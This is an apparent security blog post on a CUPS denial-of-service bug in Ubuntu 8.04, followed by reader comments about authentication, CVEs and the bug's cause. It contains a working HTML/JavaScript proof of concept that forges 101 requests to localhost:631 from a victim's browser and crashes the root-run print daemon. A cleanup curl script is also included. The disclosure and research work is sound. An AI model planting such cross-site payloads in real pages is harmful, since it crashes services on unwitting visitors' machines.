Pwning Ubuntu via CUPS
I’ve been using Ubuntu Server Edition for several years now as my pentesting toolbox platform. A few months ago, I also migrated my workstation to Ubuntu Desktop Edition. Recently, I also migrated my personal laptop to Ubuntu Desktop. I guess I’m officially an Ubuntu fan. W00t!
I’m not going to discuss the Ubuntu security model in detail, but in short, one of the highlights is that by default logged-in users run processes with restricted privileges. Whenever a command needs to be run with root privileges, the user issues a sudo command. This is quite safe, as it means that privileged tasks only take place when specified individually. Of course, the user can fully bypass this security model with a simple sudo /bin/bash but one is not supposed to do this.
Attack vectors against default installations of Ubuntu Desktop Edition
Ubuntu Desktop is one of the most popular Linux desktop distributions at the moment. This means that it’s likely that security researchers will shift more towards this platform in the future. Although perhaps not as sexy as the growing Mac OS X hacking scene, I believe Ubuntu Desktop hacking is starting to become more attractive. Just look at the Dell Mini 9 laptops, you can get them with Ubuntu Desktop installed from factory, instead of Windows XP, which makes the total price even lower. How sweet!
By default Ubuntu Desktop doesn’t offer any listening services to remote users. So compromising listening daemons remotely doesn’t seem to be possible by default. Keep in mind that I’m concentrating on attacks against default installations of Ubuntu Desktop. If a company uses Ubuntu Server with a vulnerable version of SSHD, then sure it can be broken into without interaction from the victim. However, in this case we’re focusing on attacking Ubuntu Desktop users via software that runs by default.
Since owning a default Ubuntu Desktop system “cold” (i.e.: no user interaction) doesn’t seem to be possible - at least at first sight - what other options do we have for client-side exploitation? The main three vectors are the following:
- Mozilla Firefox
- Firefox plugins. i.e.: Flash and Quicktime
- CUPS
Firefox and common plugins are of course the obvious choice for compromising a Ubuntu Desktop system via a client-side exploit. However, CUPS is much more interesting for a number of reasons. First of all, unlike Firefox, it runs as root by default on Ubuntu Desktop:
$ ps -U root -u root u | grep cups
root 4879 0.0 0.4 6048 1816 ? Ss 21:06 0:00 /usr/sbin/cupsd
This is important, as it means that if code execution was possible within the context of the cupsd process, the attacker could fully compromise the system.
At first, some researchers might be put away by the fact that CUPS only listens to local connections by default. From /etc/cups/cupsd.conf:
# Only listen for connections from the local machine.
Listen localhost:631
However, similar to our previously-published BT Home Hub vulnerabilities, it’s possible to use the victim’s browser as a bridge to talk to a service/daemon that’s otherwise not visible to the attacker. In this case, the attacker can craft a malicious webpage that talks to the cups daemon on localhost:631
CUPS SIGSEGV crash 0day
I poked a bit with the CUPS daemon and managed to find a way to crash it reliably after writing a low-tech fuzzer with curl and bash. The daemon crashes when more than 100 RSS Subscriptions are added which has been successfully tested on the latest versions of openSuse and Ubuntu Desktop at time of writing (11.0 and 8.04.1 respectively). For some reason, the user doesn’t need to login to add RSS subscriptions, although authentication is required to perform other actions. I’m not sure if this bug can lead to remote code execution. Further investigation/gdbing is required. Let me know if you can do something interesting with this bug, unfortunately I’m so busy lately, and researching this crash can be time consuming somehow. By the way, I did inform Ubuntu regarding this bug via bugs.launchpad.net
<!-- cups_dos_poc.html -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org
for(var i=1;i<=101;++i) {
document.write("<img width=0 height=0 " +
"src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}
</script>
If you’re up for poking with this, you might want to use the following script locally to delete all the added RSS subscriptions automatically:
#!/bin/bash
# cups_del_subs.sh
if [[ $# -ne 2 ]]
then
echo "usage: $0 <start-ID> <end-ID>";
exit
fi
echo -en "deleting RSS subscription ID: ";
for((i=$1;i<=$2;++i))
do
echo -en "$i ";
curl -s --URL "http://localhost:631/admin/?op=cancel-subscription¬ify_subscription_id=$i" \
>/dev/null;
done
echo -en "\n";
Comments
“For some reason, the user doesn’t need to login to add RSS subscriptions, although authentication is required to perform other actions.”
That doesn’t work for me. I’m always asked for username/password, whey I try to add RSS subscription. System is fully updated Ubuntu desktop 8.10. If I type uname/password once, I’m no longer asked for credentials.
funny! actually it works for me. but I guess someone needs to have a better look at why it happens, but I cannot be bothered right now :)
i dont need authentication either. also running Ubuntu 8.04.1 as mentioned on the gnucitizen labs link and this post:
$ cat /etc/issue.net
Ubuntu 8.04.1
This is certainly a bug, but just because something crashes doesn’t mean it’s a security issue.
As others have mentioned, creating an RSS feed requires authentication, so it’s unlikely this is an issue is most environments. Also, even though the CUPS daemon is running as root, it is still confined with an AppArmor profile, isolating any otherwise-successful exploits.
Just realised that I didn’t had curl installed in my ubuntu and network is down at my work place.. So I just hacked up a quick javascript to do the clearing of the RSS subscriptions for me..
for (var i=1;i<=101;++i) {
document.write(”");
}
OK, I did further investigation on why some people need authentication to add RSS feeds and others dont. I tested the crash by booting from both the Ubuntu 8.04 LTS (hardy) and Ubuntu 8.10 (intrepid) CD.
Results:
- Ubuntu 8.04.1 LTS (hardy): no authentication required to add RSS subscriptions on CUPS
- Ubuntu 8.10 (intrepid): authentication *is* required to add RSS subscriptions on CUPS
tbh, I have no idea why this is the case.
btw, for those who are too lazy to upload the PoC to a web server, you can test it directly from: http://snipurl.com/5vp46
please let me know if your CUPS daemon crashes: http://localhost:631/ . It should work if you are on Hardy
@pdp: since it also worked for you, I’m assuming you’re on hardy?
$ lsb_release -c
Codename: hardy
Previously I only tried to open “add subscription” URL in browser, and it asked me for credentials. But now I actually tested PoC and it totally blocked my Ubuntu! Opening 101 popup windows asking for credentials isn’t very healthy for the system, especially if you forgot to mount swap partition ;-) If I didn’t kill firefox soon enough only the reset button helped.
So now you have PoC:
- Ubuntu 8.04 - cups crash
- Ubuntu 8.10 - possible denial of service
Great job :-)
Nice article! And yes - the CUPS web front end carries a plethora of vulnerabilities. The ‘print test page’ CSRF alone is classic… Loop this request and block a printer for a very long time wasting paper and ink…
Problem solved:
Hardy’s version: 1.3.7-1ubuntu3.1
Intrepid’s version: 1.3.9-2
http://packages.ubuntu.com/intrepid/cups
http://packages.ubuntu.com/hardy/cupsys
From cups-1.3.8 CHANGES.txt:
- The scheduler now ensures that the RSS directory has the correct permissions.
I have a confirmation that on 8.10 it asks for authentication. Still, this is a poor excuse for defense, it should cap the RSS feeds so that it does not crash even if the user did enter authentication. Also, I wonder why it needs to run as root.
Codename: intrepid
P.S. ps -U root -u root u | wc-l
returns 59 for me
Any chance you could tell me the Launchpad bug number for this? I am unable to find it. Thanks!
Tested on Ubuntu 8.10 authentication is required.
Crashed as expected.
I’m looking at cupsd.conf on some other installation to figure out the changes.
This is a NULL pointer dereference from an unchecked pointer, about 5-10 minutes of debugging could have revealed that. Please stop spreading FUD, crashing CUPS is hardly ‘pwning’ anything.
nobody is spreading fud! May I use the opportunity to remind everybody that it is our decision what to publish on this blog. if you don’t like it than move on and unsubscribe. it is as simple as that.
thanks for the feedback btw.
@Kees and @redb0ne: as I said, all I knew for sure is that a crash can be caused reliably. I was hoping someone could maybe do something more interesting than crashing the CUPS daemon. it seems redb0ne figured out it’s just a null pointer dereference.
I still think it’s interesting how someone could potentially attack the CUPS daemon remotely via malicoius webpages, as a way to bypass the restriction of the daemon only listening to localhost.
@Martin: Bug #298241
@Jason: good idea to do it via JS rather than bash. your JS code broke though, due to the anti XSS filter
@TH: thanks for figuring out why authentication is required on intrepid but not hardy!
oops, typo!: “malicoius” -> “malicious”
:P
Could you elaborate on this highlight feature called “sudo”? You mean, I don’t have to run my browser and mail client as root anymore?
If you are interested in code execution vulns via this attack vector then look at CVE-2008-0047, IIRC it is in the CGI interface as well and can be exploited via a similar means.
@CO: simply, you are a restricted user by default on Ubuntu. just like on mac osx and vista. if you are on the command line and need to perform an action with root privileges, then you launch a ’sudo’ command which will ask you for your password. if the privileged action is performed via a GUI, then you’ll also have to reauthenticate, similar to vista’s UAC.
@redb0ne:yeah, noticed that vuln when it came out. requires printer sharing though, which i believe is disabled by default? btw, have u worked on a PoC for this bug? seems idefense was able to exploit it reliably.
btw, it appears that the crash included in this post has been categorized as two issues:
1) cupds crash due to NULL pointer dereference when more than 100 RSS subscriptions are added
http://cve.mitre.org/cgi-bin/c.....-2008-5183
2) RSS subscriptions can be modified without auth and forged (CSRF) remotely via a specially-crafted page
http://cve.mitre.org/cgi-bin/c.....-2008-5184
It is certainly FUD beacause it wasnt never an 0Day, vuln was patched on last version of CUPS,or am I wrong ?
@georgeperez: the fact that RSS subscriptions can be added/deleted without auth had been reported before I think, but the fact that the daemon crashes when more than 100 subscriptions are added is a *different* issue.
As I said dude, if you are on Ubuntu 8.04 LTS _fully patched_, the cups daemon crashes when visiting the PoC webpage without needing to be authenticated on the CUPS interface. Granted it’s just a NULL pointer dereference crash, so no code exec is possible. But still, a daemon that runs as root shouldn’t just crash because you visited a webpage IMHO.